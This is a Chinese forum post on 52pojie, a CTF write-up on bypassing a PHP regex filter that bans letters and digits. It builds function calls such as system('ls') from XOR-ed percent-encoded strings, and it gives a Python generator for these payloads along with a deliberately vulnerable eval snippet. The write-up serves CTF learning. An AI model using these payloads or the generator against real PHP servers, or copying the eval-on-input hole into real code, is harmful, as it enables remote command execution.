吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2825|回复: 3
收起左侧

[CTF] 【CTF】php特性无字母数字异或RCE

[复制链接]
孤樱懶契 发表于 2021-10-13 22:06
本帖最后由 孤樱懶契 于 2021-10-23 22:49 编辑

前言

记录web的题目wp,慢慢变强,铸剑。

无字母数字命令执行web

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

分析源代码,这里用了正则表达式/^\W+$/,把数字和字母还有下划线给ban了,之前无字母数字的webshell我们用异或来吧(或运算,异或,取反等等都可以)

也可以使用导航中regex101进行正则自动判断分析

image-20211010105049748

简单异或形成的原因分析一下,写个php代码

<?php
highlight_file(__FILE__);
eval($_GET['a']);
?>

当我们传入a的参数,输入的值进行异或,可以得到一些字符串比如,可以构造字符phpinfo,但使用的是ascii码中32-126之间的字符,除去大小写字母和数字还有下划线,能够构造字母

a=echo (("%0b%08%0b%09%0e%06%0f")^("%7b%60%7b%60%60%60%60"));

image-20211010105753504

所以,当我们使用phpinfo时,可以直接构造如下payload,成功命令执行

a=echo (("%0b%08%0b%09%0e%06%0f")^("%7b%60%7b%60%60%60%60"))();

image-20211010105919095

由于一个个筛选很麻烦,所以写一个脚本直接生成异或之后的字符,如下

# # -- coding:UTF-8 --
# # Author:孤桜懶契
# # Date:2021/10/10
# # blog: gylq.gitee.io

import requests
import urllib
import re

# 生成可用的字符
def general_rce():
    result = ''
    preg = '[a-zA-Z0-9]'
    for i in range(256):
        for j in range(256):
            if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
                x = i ^ j
                if x >= 32 and x <= 126:
                    a = '%' + hex(i)[2:].zfill(2)
                    b = '%' + hex(j)[2:].zfill(2)
                    result += (chr(x) + ' ' + a + ' ' + b + '\n')
    f = open('xor_rce.txt', 'w')
    f.write(result)

# 根据输入的命令在生成的txt中进行匹配
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == '':
                break
            if t[0] == i:
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = ("((\"" + s1 + "\")" + "^" + "(\"" + s2 + "\"))")
    return output

def main():
    general_rce()
    while True:
        s1 = input("\n[+] your function: ")
        if s1 == "exit":
            break
        s2 = input("[+] your command: ")
        param = action(s1) + action(s2)
        print("\n result: \n" + param)

main()

当我们想要执行system ls 时,直接执行这个脚本获得

image-20211010110127469

接着复制上去就可以看到结果

a=(("%08%02%08%08%05%0d")^("%7b%7b%7b%7c%60%60"))(("%0c%08")^("%60%7b"));

image-20211010110152542

所以我们分析一下这题,可以发现v1和v2都为数字可以不用管,但是想要执行return,前面的v1后面得跟一个连接符,不然无法执行命令,所以v3前面加个连接符/*-|都行,我用除号,就可以构造payload,读取flag

v1=1&v2=1&v3=/(("%08%02%08%08%05%0d")^("%7b%7b%7b%7c%60%60"))(("%08%01%03%00%06%0c%01%07%00%0b%08%0b")^("%7c%60%60%20%60%60%60%60%2e%7b%60%7b"));

image-20211010110401754

免费评分

参与人数 4吾爱币 +10 热心值 +3 收起 理由
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
Referer + 1 + 1 谢谢@Thanks!
woyucheng + 1 + 1 用心讨论,共获提升!
shinsbo + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Referer 发表于 2021-10-14 09:17
感谢分享
康铎严 发表于 2021-10-14 10:28
alongzhenggang 发表于 2021-10-15 10:51
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-26 14:14

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表